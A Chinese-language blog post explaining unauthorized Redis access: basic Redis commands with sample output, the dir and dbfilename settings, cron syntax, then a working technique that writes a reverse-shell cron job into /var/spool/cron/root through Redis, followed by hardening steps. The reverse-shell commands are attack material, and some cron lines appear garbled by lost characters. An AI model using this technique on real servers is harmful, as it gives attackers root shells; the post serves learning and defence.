H4rdy's blogs - 关于Redis未授权访问需要了解的一些基础

连接: redis-cli -h host -p port -n db


需要知道的:

①Redis 基本操作,信息以键值对应的关系储存

set 写入数据

get 查看数据

keys* 查看所有键值

select db 相当于关系型数据库中的多个库,选择其中之一(Redis中的DB是相互独立存在的,所以可以出现重复的key)

FLUSHALL 清空数据

10.211.55.8:6379> set test 'aaaaaaa'

OK

10.211.55.8:6379> set test1 'bbbbbbb'

OK

10.211.55.8:6379> set test2 'cccccc'

OK

10.211.55.8:6379> get test

"aaaaaaa"

10.211.55.8:6379> keys *

1) "test"

2) "test1"

3) "test2"

10.211.55.8:6379> select 1

OK

10.211.55.8:6379[1]> keys *

(empty list or set)

10.211.55.8:6379[1]> select 0

OK

10.211.55.8:6379> keys *

1) "test"

2) "test1"

3) "test2"

10.211.55.8:6379> FLUSHALL

OK

10.211.55.8:6379> keys *

(empty list or set)

10.211.55.8:6379> 

②config 修改配置

dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。

  • dbfilename,RDB文件名,默认为“dump.rdb”

appendonly,是否开启AOF

appendfilename,AOF文件名,默认为“appendonly.aof”

appendfsync,AOF备份方式:always、everysec、no

③cron->计划任务

crontab是linux下的计划任务. 例如:每分钟/每小时/每天/每月/每年执行某个固定的任务

crontab -e 这种方式写计划任务,或者通过编辑/var/spool/cron/里的文件写计划任务

格式 * commond

例如:/1 * echo "test" >> /tmp/1.txt #每分钟向tmp/1.txt 里写入字符串test

了解这些之后.就可以看懂下面的了.

利用redis未授权访问反弹shell

echo -e "nn/1 * /bin/bash -i >& /dev/tcp/本机ip/12345 0>&1nn"|redis-cli -h ip -x set 1

redis-cli config set dir /var/spool/cron/

redis-cli config set dbfilename root

redis-cli save
6631342643607840314.png

修复

在redis.conf中添加

禁止敏感操作

rename-command FLUSHALL ""

rename-command FLUSHDB ""

rename-command CONFIG ""

rename-command EVAL ""

设置密码

requirepass mypassword

禁止对外开放

bind 127.0.0.1

tagged by none  

1 Comment


  1. aspilin

    我们这边内部系统也在用redis认证登录,不过好老的技术了,现在换别的了,不知道咋回事,我们公司的redis服务器特别不稳定,老是鬼畜,次奥

Post a new comment

© H4rdy's blog